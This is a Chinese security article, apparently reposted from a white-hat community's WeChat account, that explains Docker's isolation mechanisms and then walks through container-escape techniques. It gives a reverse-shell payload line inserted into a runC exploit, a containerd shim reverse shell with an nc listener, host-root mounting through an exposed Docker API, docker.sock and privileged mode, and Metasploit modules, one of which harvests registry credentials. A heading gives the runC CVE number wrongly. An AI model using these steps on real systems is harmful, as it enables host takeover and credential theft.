docker下安全问题总结

  • A+
所属分类:安全文章

作者:DDBG  编辑:白帽子社区运营团队




    "白帽子社区端午特别活动“白帽寻宝记”明天(06月12日09:00)就开始啦!!!靶场已经开放活动板块可以进行签到,抽奖请点👉这里👈跳转,BMZCTF靶场地址:www.bmzclub.cn

"    





docker下安全问题总结
Docker安全机制
  • Namespace 

每次启动一个容器的时候,都会单独的给予这个容器一个单独的命令空间, 因此容器中运行的程序/进程是不会影响到另一个容器的;每个容器的网络 也是相互独立的,有需要的话可以通过物理机来实现连通 

Namespace让每个容器都变得独立,互不干扰 


  • Control Group 

Control Group组件用来规划容器对物理资源(cpu、内存、磁盘等)的使 用,防止容器过多的占用资源,影响其他容器或者是物理机的正常运转 

Control Group可以有效的防止DOS 


  • Capabilities 

Capabilities将 root/非root 分为更细的权限控制,所有需要root权限来执行 的命令,都可以利用 Capabilities 来代替,例如一个 Web 服务进程只需要绑 定一个低于 1024 的端口的权限,并不需要 root 权限。那么它只需要被授权 net_bind_service Capabilities 就行了。

利用 Capabilities 可以避免进程获取 root 权限,即使攻击者能够获取到容器 的root权限,也不能获得宿主机的较高权限。默认情况下,Docker采用 白 名单 机制,禁用必需功能之外的其它权限。当然,用户也可以根据自身需 求来为 Docker 容器启用额外的权限。


  • AppArmor 


可以理解为是一个访问控制,AppArmor 将访问控制细化绑定到程序。定义 了应用程序可以访问哪些系统资源以及具有哪些权限。例如:可以允许程序 进行网络访问,原始套接字访问或者读取写入与路径规则匹配的文件。如果 配置文件没有声明,则默认情况下禁止进程对资源的访问。

默认情况下,Docker 会为容器自动生成并加载默认的 AppArmor 配置文 件。


  • Seccomp


一般情况下,系统进程都会暴露给用户。Seccomp可以过滤一些不必要的系 统调用,减少了内核暴露给用户态进程的接口数量 

默认会启用 Seccomp 保护,默认的白名单规则仅保留了 Linux 中比较常见 并且安全的系统调用。防止从内核层面发起的进攻 


  • 容器逃逸:攻击者通过攻击控制了一个容器,能在容器中以某个角色权限执行命 令。然后再进一步的获取到容器所在的直接宿主机(在“物理机运行虚拟机,虚拟 机再运行容器”的场景中,直接宿主机指容器外层的虚拟机)

docker下安全问题总结
判断是否为容器
  • 根目录下是否存在 .dockerenv 文件 

.dockerenv是所有容器中都会存在这个文件,这个文件曾是LCX用于环境变 量加载到容器中,现在容器不再使用LCX所以内容为空,通过这种方式来识 别当前环境是否在容器中。
ls -al .dockerenv

  • /proc/1/cgroup是否存在docker字符串
为了限制容器的资源,Docker为每个容器创建了一个控制组以及一个名为 docker的父控制组,如果某个进程在Docker容器中启动,则该进程将必须在 该容器控制中,所以通过查看初始进程的cgroup来验证是否为容器。
cat /proc/1/cgroup | grep docker

  • 运行的系统进程数
容器环境中是无法看到所有的系统进程的,可以根据系统进程数量来判断是 否处于docker环境
s aux

  • 缺少系统命令
因为docker镜像一般占用的存储空间不大,所以只会保留运行时需要依赖的 库,一些常见的命令是不存在的,我们可以以此来判断是否是Docker环境
ping、sudo、ifconfig、ssh、vi、gcc

  • find命令查看文件系统存在的差别
在主机和容器中的文件系统中,关于docker的文件、目录有很大差别(主机 中有/var、/etc、/sys目录下的文件,可以以此来区别是否为docker环境)
find / -name docker

  • 环境变量的不同
可以查看环境变量的结果来看是否是docker环境,一般来说,主机中的环境 变量多,docker中的少
env

  • 文件系统的不同

在主机环境中cgmanager是cgroup的管理器daemon,运行于root下。所以 可以根据这个来判断
df -h

docker下安全问题总结
容器/主机信息搜集
  • 查看Docker版本

docker --version

  • 当前环境哪些用户? 
cat /etc/passwd

  • 容器操作系统?
cat /etc/os-release

  • 宿主机内核版本?
uname -a

  • 容器内进程具有哪些权限(Docker上执行,获得权限值) 
grep CapEff /proc/self/status

  • 容器挂载了哪些卷? 
cat /proc/mounts

  • 哪些用户可以使用docker? 
grep docker /etc/group 

  • 当前宿主机可用镜像? 
docker images -a

  • 当前运行哪些容器? 
docker ps -a

docker下安全问题总结
确定为容器后,可以通过以下几个方向进行攻击

docker下安全问题总结

  • 宿主机内核漏洞 


因为 Docker 与宿主机共用一个内核,所以当内核存在提权等漏洞时,可发 生逃逸,如Dirty COW漏洞(CVE-2016-5195)。未及时升级linux内核,也有 被攻击利用的风险。

  • Docker自身漏洞 

(1) Docker逃逸漏洞(CVE-2020-5736) 
  1. 漏洞描述:Docker 18.09.2之前的版本中使用了的 runC 版本小于1.0- rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以 在宿主机上以root身份执行命令。(通过 docker 和docker-runc 查看 当前版本情况) 

  2. 影响版本:

    docker version <=18.09.2、RunC version <=1.0-rc6 


  3. 利用条件:攻击者可控 image,进一步控制生成的container、攻击者 具有某已存在容器的写权限,且可通过docker exec进入 

  4. 漏洞利用:

下载payload:
https://github.com/Frichetten/CVE-2019-5736-PoC 
将其中的16行修改为反弹shell: 
var payload = "#!/bin/bash n bash -i >& /dev/tcp/127.0.0.1/8888 0>& 1" 
编译命令
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
将生成的 main 放到容器中并赋予权限 777,实际场景可以wget 或者其余下载方式传入就好。 
运行该main文件,出现以下输出即表示ok
[email protected]:/tmp# ./main[+] Overwritten /bin/sh successfully
新起一个shell来以exec启动docker容器
test@test:~$ sudo docker exec -it d1 /bin/bash
docker内main程序的运行输出:
[email protected]:/tmp# ./main[+] Overwritten /bin/sh successfully[+] Found the PID: 16[+] Successfully got the file handle[+] Successfully got write handle &{0xc8201231e0}
nc收到root权限的反弹shell 

修复方案:升级,修复升级后应重启容器内的服务以确保生效。


(2) Docker cp命令漏洞(CVE-2019-14271) 
  1. 通过宿主机docker cp容器文件导致任意命令执行的漏洞 

  2. 影响版本:

    docker 19.03.0(包含几个beta版),19.03.1以上以及18.09以下都不受影响 


  3. 漏洞利用

    https://xz.aliyun.com/t/6806


    修复建议:升级到最新版本或者是打补丁。


(3) Docker逃逸漏洞(CVE-2020-15257) 
  1. 漏洞描述:containerd是行业标准的容器运行时,可作为Linux和 Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填 充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问 控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象 Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特 权运行。 

  2. 影响版本:

    containerd < 1.4.3containerd < 1.3.9 


  3. 漏洞利用: 

漏洞POC:
https://github.com/Xyntax/CDK/releases/tag/0.1.6
选择对应的版本的POC上传到容器中 执行POC反弹shell
./cdk_linux_386 run shim-pwn 127.0.0.1 8888
VPS上监听
nc -lvp 8888 

修复建议:升级 containerd 至最新版本。通过添加如 deny unix [email protected]**的AppArmor策略禁止访问抽 象套接字。

(4) CVE-2019-16884 安全机制绕过 
  1. 漏洞描述:该漏洞源于libcontainer/rootfs_linux.go文件没有正确检 查挂载目标。攻击者可利用该漏洞绕过AppArmor限制。 


  2. 影响版本:

    runc1.0.0-rc8及之前版本


  3. 漏洞利用:

    https://mp.weixin.qq.com/s/snd1mrEeFheEPB_wrPv8XA

修复建议:升级到最新版本

(5) 此外还有CVE-2016-3697 、CVE-2019-13139、CVE-2018-9862、CVE2018-15664等漏洞

  • Docker的错误配置&设计缺陷


  • Docker 未授权访问 


在使用docker swarm的时候,会在docker节点上开放2375端口,并绑 定在0.0.0.0上,端口中存在Docker Remote API的服务。可以通过 HTTP调用 

详细步骤: 
访问目标的2375端口探测信息:
http://217.0.0.1:2375/version(ps、/images/json、/containers/json)
在vps上进一步获取信息(vps上需要安装有docker) 
获取镜像信息:
docker -H tcp://xx.xx.xx.xx:2375 images
启动一个docker并挂载宿主机根目录:
docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt docker_ID/bin/sh
然后接可以利用写入crontab,进行反弹shell

  • Docker.sock 


当容器可以访问docker socket时,可以通过与daemon的通信对其进 行恶意操纵完成逃逸,容器A能访问docker socket便可在容器中安装 docker client,通过docker.sock与宿主机进行交互,运行并切换至不 安全的容器B中控制宿主机。 

详细步骤: 
在容器中找到docker.sock:
find / -name docker.sock
在容器查看宿主机docker信息:
docker -H unix:///var/run/docker.sock info
运行一个新容器并挂载宿主机根路径:
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu/bin/bash

在新容器的/test 目录下,就可以访问到宿主机的全部资源,接 下来就是写入ssh密钥或者写入计划任务,获取shell

  • privileged(特权模式) 


privileged允许容器内的root拥有外部物理机root权限。执行docker run --privileged时,Docker容器将被允许访问主机上的所有文件,并 可以执行mount命令进行挂载。通过mount命令将外部宿主机磁盘设 备挂载进容器内部,获取对整个宿主机的文件读写权限,利用写入计 划任务等方式在宿主机执行命令。 

容器中检测是否为privileged:
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,输出的值为:
0000003fffffffff
详细步骤: 
新建目录以备挂载:
mkdir /test
将/dev/sda1挂载至 /test:
mount /dev/sda1 /abc
访问容器内部的/test就能直接访问整个宿主机目录:
ls /abc
写文件到宿主机:
echo 123 > /test/home/botasky/escape2

  • Shocker 攻击 


调用open_by_handle_at函数对宿主机文件系统进行暴力扫描,以获 取宿主机的目标文件内容。存在于 Docker 1.0 之前的绝大多数版本 
GitHub项目地址:
https://github.com/gabrtv/shocker
执行:
docker run gabrtv/shocker

docker下安全问题总结
工具化测试

docker下安全问题总结

  • 查看Docker服务器版本(VERBOSE参数为true获得更多信息) 


模块:
auxiliary/scanner/http/docker_version

描述:设置VERBOSE参数为true能够获得更多信息 

原理:向Docker Daemon监听的2375端口发起请求。 

限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访 问。

  • 检测目标环境是否为容器。 


模块:
post/linux/gather/checkcontainer

原理:较为简单,即检测/.dockerenv特征文件和cgroup里的特征字符 串是否存在等。 

限制:获得一个基础shell之后才能使用(后渗透阶段)。 

  • 检测目标环境中各种漏洞缓解机制是否开启 


模块:
post/linux/gather/enum_protections
描述:检测目标环境中各种漏洞缓解机制是否开启(对于容器环境来 说,会影响逃逸成功率),具体检测了漏洞缓解措施是否开启,如 ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;还检测了 LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装 及开启;另外,还检测了一些常见安全应用等 

原理:该模块调用了Metasploit核心模块Msf::Post::Linux::Kernel, 核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出 的参数来判断相关缓解机制是否开启 

限制:获得一个基础shell之后才能使用(后渗透阶段)。 

  • 对Docker的守护进程实现root权限远程代码执行 


模块:
exploit/linux/http/docker_daemon_tcp
描述:利用监听了TCP socket的Docker守护进程实现root权限远程代 码执行。 

原理:远程给Docker守护进程下达命令拉取镜像,创建新容器,挂载 宿主机目录,写入反弹shell的定时任务。

限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访 问。

  • Docker容器内的提权 


模块:
exploit/linux/local/docker_daemon_privilege_escalation
描述:这实际上也是一个后渗透阶段的功能。当拿到目标宿主机上的 一个普通用户shell时,如果该普通用户能够操作本机上的Docker,就 能够借助Docker守护进程提升权限 .

原理:从逻辑上来看,能够操控Docker就意味着具有了root权限,容 器内挂载docker socket导致容器逃逸的情况与本模块在原理上是类似 的。本模块利用Docker创建新容器,将宿主机上文件系统挂载进去, 然后将反弹shell程序添加suid标志位,最后执行反弹shell。 

限制:普通用户需要有与Docker守护进程交互的权限。 

  • 读取.docker/config.json文件 


模块:
post/multi/gather/docker_creds
描述:尝试读取所有用户目录下的.docker/config.json文件,解析获 得认证凭据(如镜像仓库的登录凭据)。 
原理:读取.docker/config.json文件。 
限制:获得一个基础shell之后才能使用(后渗透阶段)。

  • 其他模块,因为适用范围或者限制问题,建议参考模块的文档

    auxiliary/gather/saltstack_salt_root_keyexploit/linux/misc/saltstack_salt_unauth_rceexploit/windows/local/docker_credential_wincredexploit/linux/http/rancher_serverexploit/linux/http/dcos_marathon

  • 参考文章

    https://forum.90sec.com/t/topic/1338https://chen1sheng.github.io/2021/01/10/%E6%B8%97%E9%80%8F/linux/docker%E9%80%83%E9%80%B8/https://wohin.me/yun-yuan-sheng-huan-jing-shen-tou-xiang-guan-gong-ju-kao-cha/#1-https://tech.meituan.com/2020/03/12/cloud-native-security.htmlhttps://mp.weixin.qq.com/s/d9D3z13uCOJoJzplpu3WJQ



往期精彩内容




“白帽寻宝记”启程!解题抽奖拿奖品 邀你一起 共度端午!
【题目讲解】hp-RE_hyperthreading
【题目讲解】tzzzez-433MHz+oldmodem
tzzzez-游园会的集章卡片+十二宫的挑衅




docker下安全问题总结
技术支持:白帽子社区团队
— 扫码关注我们 



本文始发于微信公众号(白帽子社区):docker下安全问题总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: